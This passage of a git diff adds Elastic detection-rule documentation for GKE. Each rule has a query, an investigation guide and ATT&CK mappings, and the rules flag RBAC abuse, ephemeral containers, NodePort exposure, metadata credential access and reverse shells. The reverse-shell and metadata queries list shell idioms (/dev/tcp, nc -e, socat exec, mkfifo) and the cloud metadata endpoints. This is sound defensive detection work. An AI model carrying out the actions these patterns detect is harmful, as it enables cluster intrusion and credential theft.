+** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc new file mode 100644 index 0000000000..0c282598cd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-28-gke-creation-of-a-rolebinding-referencing-a-serviceaccount]] +=== GKE Creation of a RoleBinding Referencing a ServiceAccount + +Detects creation of a GKE RoleBinding or ClusterRoleBinding that grants permissions to a ServiceAccount, which may indicate privilege delegation or RBAC misconfiguration leading to elevated access. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/ +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Creation of a RoleBinding Referencing a ServiceAccount* + + +This rule detects creation of a RoleBinding or ClusterRoleBinding whose subject is a ServiceAccount. Attackers often bind +over-privileged roles to an existing workload service account to operate with elevated rights. + + +*Possible investigation steps* + + +- Review `client.user.email`, `source.ip`, `gcp.audit.request.roleRef`, and `gcp.audit.request.subjects`. +- Determine which workloads run under the bound service account and whether the referenced role is cluster-scoped. +- Correlate with secret access, exec, or additional RBAC changes from the same actor. + + +*False positive analysis* + + +- Legitimate deployments and operators create service account bindings during routine releases. + + +*Response and remediation* + + +- Remove unauthorized bindings, rotate the service account credentials, and tighten who can create RoleBindings. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.authorization.rbac.v1.rolebindings.create" or + "io.k8s.authorization.rbac.v1.clusterrolebindings.create" +) and gcp.audit.request.subjects.kind:"ServiceAccount" and not client.user.email:( + "system:apiserver" or + "gcp:kube-bootstrap" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-creation-or-modification-of-sensitive-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-creation-or-modification-of-sensitive-role.asciidoc new file mode 100644 index 0000000000..6082de46e5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-creation-or-modification-of-sensitive-role.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-28-gke-creation-or-modification-of-sensitive-role]] +=== GKE Creation or Modification of Sensitive Role + +Detects creation or modification of GKE Roles or ClusterRoles that grant high-risk permissions, such as wildcard access or RBAC escalation verbs (bind, escalate, impersonate), which may enable privilege escalation or unauthorized access within the cluster. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/ +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Creation or Modification of Sensitive Role* + + +This rule detects allowed create, update, or patch actions on Roles and ClusterRoles that introduce high-risk RBAC +permissions, including wildcard access and escalation verbs like bind, escalate, or impersonate. + + +*Possible investigation steps* + + +- Identify `client.user.email`, `source.ip`, and `user_agent.original`. +- Review `gcp.audit.resource_name`, `event.action`, and `gcp.audit.request` for the changed role. +- Enumerate RoleBindings or ClusterRoleBindings that reference the role and hunt for follow-on secret or exec activity. + + +*False positive analysis* + + +- GitOps or platform bootstrap may create broad roles during onboarding. `system:addon-manager` patch reconciliation on built-in Roles and ClusterRoles is excluded. + + +*Response and remediation* + + +- Revert unauthorized roles, remove unexpected bindings, and restrict RBAC change permissions to governed pipelines. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required. Request body capture on RBAC resources is required. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.authorization.rbac.v1.roles.create" or + "io.k8s.authorization.rbac.v1.roles.update" or + "io.k8s.authorization.rbac.v1.roles.patch" or + "io.k8s.authorization.rbac.v1.clusterroles.create" or + "io.k8s.authorization.rbac.v1.clusterroles.update" or + "io.k8s.authorization.rbac.v1.clusterroles.patch" +) and not source.ip:("::1" or "127.0.0.1") and not ( + client.user.email:"system:serviceaccount:kube-system:clusterrole-aggregation-controller" and + gcp.audit.request.metadata.name:(admin or edit) and + event.action:"io.k8s.authorization.rbac.v1.clusterroles.patch" +) and not ( + client.user.email:"system:addon-manager" and + event.action:( + "io.k8s.authorization.rbac.v1.roles.patch" or + "io.k8s.authorization.rbac.v1.clusterroles.patch" + ) +) and ( + gcp.audit.request.rules.verbs:("*" or escalate or bind or impersonate) or + ( + gcp.audit.request.rules.verbs:("*" or create or patch or update) and + gcp.audit.request.rules.resources:( + "*" or clusterroles or clusterrolebindings or roles or rolebindings or + pods/exec or serviceaccounts/token or nodes/proxy or daemonsets + ) + ) or + ( + gcp.audit.request.rules.verbs:("*" or get or list) and + gcp.audit.request.rules.resources:("*" or secrets) + ) or + gcp.audit.response.rules.verbs:("*" or escalate or bind or impersonate) or + ( + gcp.audit.response.rules.verbs:("*" or create or patch or update) and + gcp.audit.response.rules.resources:( + "*" or clusterroles or clusterrolebindings or roles or rolebindings or + pods/exec or serviceaccounts/token or nodes/proxy or daemonsets + ) + ) or + ( + gcp.audit.response.rules.verbs:("*" or get or list) and + gcp.audit.response.rules.resources:("*" or secrets) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-ephemeral-container-added-to-pod.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-ephemeral-container-added-to-pod.asciidoc new file mode 100644 index 0000000000..d4b83c5dca --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-ephemeral-container-added-to-pod.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-28-gke-ephemeral-container-added-to-pod]] +=== GKE Ephemeral Container Added to Pod + +Detects allowed updates or patches to the pods/ephemeralcontainers subresource on GKE by a non-system identity. Ephemeral containers are commonly used for debugging (kubectl debug) but can also be abused to inject tooling into a running pod, access mounted secrets, and execute commands in the target pod context. Attackers with sufficient RBAC may use ephemeral containers to escalate privileges, move laterally, or establish persistence without deploying a new workload. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/workloads/pods/ephemeral-containers/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Ephemeral Container Added to Pod* + + +Ephemeral containers allow adding a container to an existing pod for troubleshooting. When abused, they can gain +interactive access to a workload, read sensitive files, and run tools that were not present in the original image. + + +*Possible investigation steps* + + +- Review `client.user.email`, `source.ip`, and `user_agent.original` and confirm the identity is authorized to use + ephemeral containers. +- Inspect `gcp.audit.resource_name` to identify the targeted pod and owning workload. +- If request bodies are captured, review the ephemeral container image, command, and securityContext for privilege + indicators. +- Correlate with follow-on audit activity such as pod exec, secret reads, TokenRequest, or RBAC modifications. + + +*False positive analysis* + + +- Approved on-call debugging with `kubectl debug` may match. Allowlist known admin identities after review. + + +*Response and remediation* + + +- If unauthorized, remove excessive RBAC that grants update or patch on pods/ephemeralcontainers and rotate exposed + credentials. +- Quarantine or redeploy impacted workloads and hunt for additional compromised pods or identities. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.core.v1.pods.ephemeralcontainers.update" or + "io.k8s.core.v1.pods.ephemeralcontainers.patch" +) and not client.user.email:( + system\:node\:* or + system\:serviceaccount\:kube-system\:* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-exposed-service-created-with-type-nodeport.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-exposed-service-created-with-type-nodeport.asciidoc new file mode 100644 index 0000000000..ba778adcd8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-exposed-service-created-with-type-nodeport.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-28-gke-exposed-service-created-with-type-nodeport]] +=== GKE Exposed Service Created With Type NodePort + +Detects creation or modification of a GKE Service with type NodePort. NodePort exposes a static port on every worker node that hosts matching pods, which widens the cluster's external attack surface and can bypass load-balancer and firewall controls. Attackers may create NodePort Services to intercept traffic or establish a direct path into the cluster. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types +* https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport +* https://www.tigera.io/blog/new-vulnerability-exposes-kubernetes-to-man-in-the-middle-attacks-heres-how-to-mitigate/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Exposed Service Created With Type NodePort* + + +NodePort opens a port on each worker node hosting the service and forwards external traffic to labeled pods. Confirm +whether the exposure was approved and which workloads are reachable. + + +*Possible investigation steps* + + +- Review `client.user.email`, `source.ip`, and `user_agent.original`. +- Inspect `gcp.audit.resource_name` and `gcp.audit.request` for the service name, namespace, selector, and port. +- Identify the backing pods and whether the NodePort is required for a legitimate external entrypoint. +- Correlate with recent Service or networking changes from the same actor. + + +*False positive analysis* + + +- Approved NodePort Services for lab frontends or custom load balancing may match. Allowlist known automation or + namespaces after review. +- GKE addon reconciliation via `system:addon-manager` patch is excluded; unexpected create or update from that actor + should still be investigated. + + +*Response and remediation* + + +- Remove or change unauthorized NodePort Services, revoke excess RBAC for Services writes, and review firewall exposure + for the opened node ports. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required. Request body capture for Service resources is +required so `gcp.audit.request.spec.type` is populated. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.core.v1.services.create" or + "io.k8s.core.v1.services.update" or + "io.k8s.core.v1.services.patch" +) and gcp.audit.request.spec.type:"NodePort" and not ( + client.user.email:"system:addon-manager" and + event.action:"io.k8s.core.v1.services.patch" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-forbidden-creation-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-forbidden-creation-request.asciidoc new file mode 100644 index 0000000000..1e5980b20a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-forbidden-creation-request.asciidoc @@ -0,0 +1,102 @@ +[[prebuilt-rule-8-19-28-gke-forbidden-creation-request]] +=== GKE Forbidden Creation Request + +Detects denied GKE API create requests from non-control-plane identities. Failed creates can indicate RBAC probing, stolen credentials with insufficient privileges, or attempts to deploy unauthorized workloads. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/ +* https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Forbidden Creation Request* + + +Denied creates outside GKE system identities often reflect reconnaissance or misconfigured automation with stolen tokens. + + +*Investigation steps* + + +- Review `client.user.email`, `event.action`, `gcp.audit.resource_name`, `source.ip`, `user_agent.original`, and `gcp.audit.status.message`. +- Determine whether the identity should exist and whether the target resource is sensitive (pods, secrets, RBAC). +- Correlate with later successful creates or RBAC changes from the same actor. + + +*False positives* + + +- New deployments where RoleBindings lag the workload; exclude approved CI service accounts after review. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and event.outcome:failure and +event.action:*.create and +gcp.audit.status.message:(*forbidden* or *Unauthorized*) and +not client.user.email:( + "system:apiserver" or system\:kube-* or "system:cloud-controller-manager" or system\:gke-* or + system\:node\:* or system\:serviceaccount\:kube-system\:* or system\:serviceaccount\:gke-managed* or + "kubelet-bootstrap" or "kubelet-nodepool-bootstrap" or "gcp:kube-bootstrap" +) and +not user_agent.original:(*kubernetes/$Format) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-forbidden-request-from-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-forbidden-request-from-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..4e7a026897 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-forbidden-request-from-unusual-user-agent.asciidoc @@ -0,0 +1,114 @@ +[[prebuilt-rule-8-19-28-gke-forbidden-request-from-unusual-user-agent]] +=== GKE Forbidden Request from Unusual User Agent + +Detects the first occurrence of a failed GKE API request from a previously unseen user agent. Adversary tooling often uses non-standard clients; combined with authorization failures this can indicate RBAC probing or exploitation attempts. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/authorization/ +* https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Forbidden Request from Unusual User Agent* + + +A novel user agent with failed API calls may be scanner or post-compromise tooling probing RBAC. + + +*Investigation steps* + + +- Review `user_agent.original`, `client.user.email`, `event.action`, `gcp.audit.resource_name`, and `source.ip`. +- Determine whether the client is expected (new SDK, CI image) or external reconnaissance. +- Hunt for successful requests from the same UA or source after the failures. + + +*False positives* + + +- First use of a legitimate new client library; add a scoped UA exception after validation. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and event.outcome:failure and +user_agent.original:(* and not (*kubernetes/$Format or kube-probe* or gke-exec-auth-plugin*)) and +not client.user.email:( + "system:addon-manager" or system\:*controller* or system\:gke-* or + "system:apiserver" or "system:kube-scheduler" or "system:metrics-server-nanny" or + "system:kube-proxy" or "system:clustermetrics" or "system:vpa-recommender" or + "system:cluster-autoscaler" or "system:kubestore-collector" or + "system:konnectivity-server" or + "system:serviceaccount:kube-system:pod-garbage-collector" or + "system:serviceaccount:kube-system:generic-garbage-collector" or system\:node\:* or + "gcp:kube-bootstrap" or *container-engine-robot* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-pod-exec-cloud-instance-metadata-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-pod-exec-cloud-instance-metadata-access.asciidoc new file mode 100644 index 0000000000..be0d2aaed5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-pod-exec-cloud-instance-metadata-access.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-28-gke-pod-exec-cloud-instance-metadata-access]] +=== GKE Pod Exec Cloud Instance Metadata Access + +Detects successful GKE pod exec sessions whose command references Google Cloud instance metadata endpoints, including metadata.google.internal, computeMetadata/v1, or the link-local metadata IP 169.254.169.254. Workloads that reach the GKE metadata service from an exec session are often attempting to harvest short-lived credentials or instance attributes from the node or workload identity boundary. That behavior is high risk because it can expose cloud credentials to code running inside a container. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/kubernetes-engine/docs/concepts/protecting-cluster-metadata + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: GCP Audit Logs +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Pod Exec Cloud Instance Metadata Access* + + +This alert fires when a successful pods/exec API call includes a command targeting GKE/GCP instance metadata. +Review `gcp.audit.labels.command.gke.io/command` for the full command string. + + +*Possible investigation steps* + + +- Confirm the actor (`client.user.email`), source IP, and user agent that performed exec. +- Map `gcp.audit.resource_name` to the target pod/namespace and determine whether the workload should ever call metadata. +- Correlate with GCP audit logs for token issuance or IAM activity around the same time from the node or workload identity. +- Hunt adjacent activity from the same identity: secret reads, additional execs, or RBAC changes. + + +*False positive analysis* + + +- Approved platform tooling or bootstrap scripts may query metadata during startup; baseline those images and identities. +- Break-glass egress/metadata connectivity tests can match; document and allowlist those principals. + + +*Response and remediation* + + +- If unauthorized, terminate the session, isolate the workload, revoke or rotate instance and workload credentials that + could have been read, and tighten pods/exec RBAC plus network policies that deny link-local metadata from pods. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and +event.outcome:success and event.type:start and +event.action:("io.k8s.core.v1.pods.exec.create" or "io.k8s.core.v1.pods.exec.get") and +gcp.audit.labels.command.gke.io/command:( + *169.254.169.254* or *metadata.google.internal* or *computeMetadata/v1* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-pod-exec-potential-reverse-shell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-pod-exec-potential-reverse-shell.asciidoc new file mode 100644 index 0000000000..4ec782e046 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-pod-exec-potential-reverse-shell.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-28-gke-pod-exec-potential-reverse-shell]] +=== GKE Pod Exec Potential Reverse Shell + +Detects successful GKE pod exec sessions whose command resembles reverse-shell or bind-shell one-liner patterns, including /dev/tcp and /dev/udp redirection, netcat/ncat exec-style flags, socat shell handoff, mkfifo pipelines, and common language socket idioms. Legitimate debug sessions sometimes use similar building blocks, but together these patterns align with post-exploitation interactive access and command-and-control. Common localhost /dev/tcp health-check ports are excluded. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1609/ +* https://attack.mitre.org/techniques/T1059/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: GCP Audit Logs +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Pod Exec Potential Reverse Shell* + + +This alert fires when a successful pods/exec API call includes a command matching reverse/bind-shell idioms. +Review `gcp.audit.labels.command.gke.io/command` for the reconstructed payload. + + +*Possible investigation steps* + + +- Identify the actor (`client.user.email`), source IP, and user agent (human kubectl vs automation). +- Resolve the target namespace and pod from `gcp.audit.resource_name` and correlate with workload ownership. +- Hunt nearby events from the same identity: secret reads, pods/exec to other workloads, RoleBinding changes. +- Do not replay the command against live infrastructure unless policy explicitly allows a sandboxed recreation. + + +*False positive analysis* + + +- Security training or CTF images may include reverse-shell examples; scope exceptions to those namespaces/images. +- Some observability or mesh sidecars use socat or sockets in overlapping ways; validate image and command lineage. + + +*Response and remediation* + + +- If malicious, terminate the exec session, isolate the workload or node, rotate credentials reachable from the pod, + and revoke pods/exec for the abused principal unless strictly required. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.type:start and +event.action:("io.k8s.core.v1.pods.exec.create" or "io.k8s.core.v1.pods.exec.get") and +gcp.audit.labels.command.gke.io/command:( + ( + */dev/tcp/* or */dev/udp/* or */inet/tcp/* or + *0\\\>&1* or + *IO*Socket*INET* or *TCPSocket.new* or *bash*-i* or *fsockopen* or + *import*pty* or *import*socket* or *mkfifo* or + *nc*-c* or *nc*-e* or *netcat*-e* or + *socat*exec* or *socat*pty* or *socket.socket* or + *zsh/net/tcp* or *zsh/net/udp* + ) and not ( + *127.0.0.1* or *localhost* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-pod-exec-sensitive-file-or-credential-path-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-pod-exec-sensitive-file-or-credential-path-access.asciidoc new file mode 100644 index 0000000000..104820bfb7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-pod-exec-sensitive-file-or-credential-path-access.asciidoc @@ -0,0 +1,137 @@ 